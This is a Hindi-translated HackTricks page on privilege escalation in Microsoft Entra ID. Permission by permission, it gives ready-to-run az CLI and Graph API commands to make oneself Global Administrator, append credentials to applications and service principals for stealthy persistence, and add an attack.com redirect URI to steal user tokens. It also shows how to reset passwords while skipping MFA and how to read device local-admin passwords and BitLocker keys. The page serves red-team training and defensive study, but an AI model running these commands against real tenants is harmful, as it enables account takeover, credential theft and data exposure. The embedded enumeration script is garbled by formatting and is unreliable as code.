Az - EntraID Privesc

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Note

ध्यान दें कि built-in roles में मौजूद सभी granular permissions Entra ID में custom roles में इस्तेमाल करने के लिए eligible नहीं हैं।

Roles

Role: Privileged Role Administrator

इस role में principals को roles assign करने और roles को अधिक permissions देने के लिए आवश्यक granular permissions शामिल हैं। दोनों actions का दुरुपयोग privileges escalate करने के लिए किया जा सकता है।

  • Assign role to a user:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • किसी role में और permissions जोड़ें:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Applications

microsoft.directory/applications/credentials/update

यह एक attacker को मौजूदा applications में credentials जोड़ने (passwords या certificates) की अनुमति देता है। यदि application के पास privileged permissions हैं, तो attacker उस application के रूप में authenticate कर सकता है और वे privileges हासिल कर सकता है।

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

यह applications/credentials/update के समान ही actions की अनुमति देता है, लेकिन single-directory applications तक scoped है।

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

खुद को एक owner के रूप में जोड़कर, एक attacker application को manipulate कर सकता है, including credentials and permissions.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

एक attacker tenant के users द्वारा इस्तेमाल की जा रही applications में एक redirect URI जोड़ सकता है, और फिर उनके साथ ऐसे login URLs share कर सकता है जो नए redirect URL का उपयोग करते हैं, ताकि उनके tokens चुराए जा सकें। ध्यान दें कि अगर user पहले से ही application में logged in था, तो authentication automatic होगी और user को कुछ भी accept करने की ज़रूरत नहीं होगी।

ध्यान दें कि application द्वारा request की जाने वाली permissions को बदलना भी संभव है ताकि और permissions मिल सकें, लेकिन इस case में user को permissions के लिए prompt को फिर से accept करना होगा, जिसमें सभी permissions मांगी जाएंगी।

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Applications Privilege Escalation

जैसा कि this post में समझाया गया है यह बहुत आम था कि default applications मिलती थीं जिनके पास API permissions type Application assigned होती थीं। एक API Permission (जैसा कि Entra ID console में कहा जाता है) type Application का मतलब है कि application बिना user context के (बिना app में user login के) API को access कर सकती है और actions perform कर सकती है, और इसके लिए उसे अनुमति देने के लिए Entra ID roles की जरूरत नहीं होती। इसलिए, हर Entra ID tenant में high privileged applications मिलना बहुत आम है।

फिर, अगर attacker के पास कोई भी permission/role है जो application के credentials (secret o certificate) को update करने की अनुमति देता है, तो attacker एक नया credential generate कर सकता है और फिर उसका उपयोग करके application के रूप में authenticate कर सकता है, और application के सभी permissions हासिल कर सकता है।

ध्यान दें कि mentioned blog कुछ common Microsoft default applications की API permissions साझा करता है, हालांकि इस report के कुछ समय बाद Microsoft ने इस issue को fix कर दिया और अब Microsoft applications के रूप में login करना possible नहीं है। हालांकि, अभी भी high privileges वाली custom applications मिल सकती हैं जिनका abuse किया जा सकता है।

How to enumerate the API permissions of an application:

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
सभी applications API permissions खोजें और Microsoft-owned APIs को चिह्नित करें ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

## Service Principals

### `microsoft.directory/servicePrincipals/credentials/update`

यह एक attacker को मौजूदा service principals में credentials जोड़ने की अनुमति देता है। अगर service principal के पास elevated privileges हैं, तो attacker उन privileges को assume कर सकता है।
```bash
az ad sp credential reset --id <sp-id> --append

Caution

नया generated password web console में दिखाई नहीं देगा, इसलिए यह service principal पर persistence बनाए रखने का एक stealth तरीका हो सकता है।
API से इन्हें इस तरह पाया जा सकता है: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

अगर आपको error "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." मिलता है, तो इसका कारण यह है कि SP की passwordCredentials property को modify करना संभव नहीं है और पहले आपको इसे unlock करना होगा। इसके लिए आपको एक permission (microsoft.directory/applications/allProperties/update) चाहिए जो आपको यह execute करने देती है:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

यह एक हमलावर को मौजूदा service principals में credentials जोड़ने की अनुमति देता है। यदि service principal के पास elevated privileges हैं, तो हमलावर उन privileges को assume कर सकता है।

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

applications की तरह, यह permission service principal में और owners जोड़ने की अनुमति देती है। किसी service principal का owner होना उसके credentials और permissions पर control देता है।

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

नया owner जोड़ने के बाद, मैंने उसे remove करने की कोशिश की, लेकिन API ने response दिया कि DELETE method supported नहीं था, जबकि owner को delete करने के लिए यही method use करनी होती है. इसलिए आप आजकल owners को remove नहीं कर सकते

microsoft.directory/servicePrincipals/disable and enable

ये permissions service principals को disable और enable करने की अनुमति देती हैं. एक attacker इस permission का use करके किसी service principal को enable कर सकता है, जिस तक उसे somehow access मिल सके, ताकि privileges escalate किए जा सकें.

ध्यान दें कि इस technique के लिए attacker को enabled service principal को take over करने के लिए और permissions की जरूरत होगी.

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

ये permissions single sign-on के लिए credentials create और get करने की अनुमति देते हैं, जिससे third-party applications तक access मिल सकता है।

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

समूह

microsoft.directory/groups/allProperties/update

यह permission privileged groups में users को add करने की अनुमति देती है, जिससे privilege escalation हो सकता है.

az ad group member add --group <GroupName> --member-id <UserId>

नोट: यह permission Entra ID role-assignable groups को exclude करता है।

microsoft.directory/groups/owners/update

यह permission groups का owner बनने की अनुमति देता है। किसी group का owner group membership और settings को control कर सकता है, जिससे potentially group तक privilege escalation हो सकती है।

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

नोट: यह permission Entra ID role-assignable groups को exclude करती है।

microsoft.directory/groups/members/update

यह permission किसी group में members जोड़ने की अनुमति देती है। एक attacker privileged groups में खुद को या malicious accounts जोड़ सकता है, जिससे elevated access मिल सकता है।

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

यह permission dynamic group में membership rule को update करने की अनुमति देता है। एक attacker privileged groups में खुद को explicit addition के बिना शामिल करने के लिए dynamic rules को modify कर सकता है।

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

नोट: यह permission Entra ID role-assignable groups को exclude करती है।

Dynamic Groups Privesc

यह संभव हो सकता है कि users अपनी own properties modify करके dynamic groups के members के रूप में add होकर privileges escalate कर लें। अधिक जानकारी के लिए check करें:

Az - Dynamic Groups Privesc

Users

microsoft.directory/users/password/update

यह permission non-admin users का password reset करने की अनुमति देती है, जिससे एक potential attacker अन्य users तक privileges escalate कर सकता है। यह permission custom roles को assign नहीं की जा सकती।

# Update user password
userId="<user-id>"
az ad user update --id $userId --password "kweoifuh.234"

# Update user password without needing to change or use MFA on next sign-in
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
--headers "Content-Type=application/json" \
--body "{
\"passwordProfile\": {
\"forceChangePasswordNextSignInWithMfa\": false,
\"forceChangePasswordNextSignIn\": false,
\"password\": \"kweoifuh.234\"
}
}"

microsoft.directory/users/basic/update

यह privilege उपयोगकर्ता के properties को modify करने की अनुमति देता है। यह common है कि dynamic groups मिलते हैं जो properties values के आधार पर users को add करते हैं, इसलिए यह permission किसी user को आवश्यक property value set करने दे सकती है ताकि वह किसी specific dynamic group का member बन सके और privileges escalate कर सके।

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Conditional Access Policies & MFA bypass

गलत कॉन्फ़िगर किए गए conditional access policies जिनमें MFA की आवश्यकता होती है, उन्हें bypass किया जा सकता है, जांचें:

Az - Conditional Access Policies & MFA Bypass

Devices

microsoft.directory/devices/registeredOwners/update

यह permission attackers को devices के owners के रूप में खुद को assign करने की अनुमति देती है, ताकि वे control हासिल कर सकें या device-specific settings और data तक access पा सकें।

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

यह permission attackers को अपने account को devices के साथ associate करने की अनुमति देता है, ताकि access हासिल किया जा सके या security policies को bypass किया जा सके.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

यह permission attackers को Microsoft Entra joined devices के लिए backed up local administrator account credentials की properties पढ़ने की अनुमति देती है, जिसमें password भी शामिल है

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

यह permission BitLocker keys तक access की अनुमति देता है, जिससे attacker drives को decrypt कर सकता है, और data confidentiality compromise हो सकती है.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

अन्य Interesting permissions (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें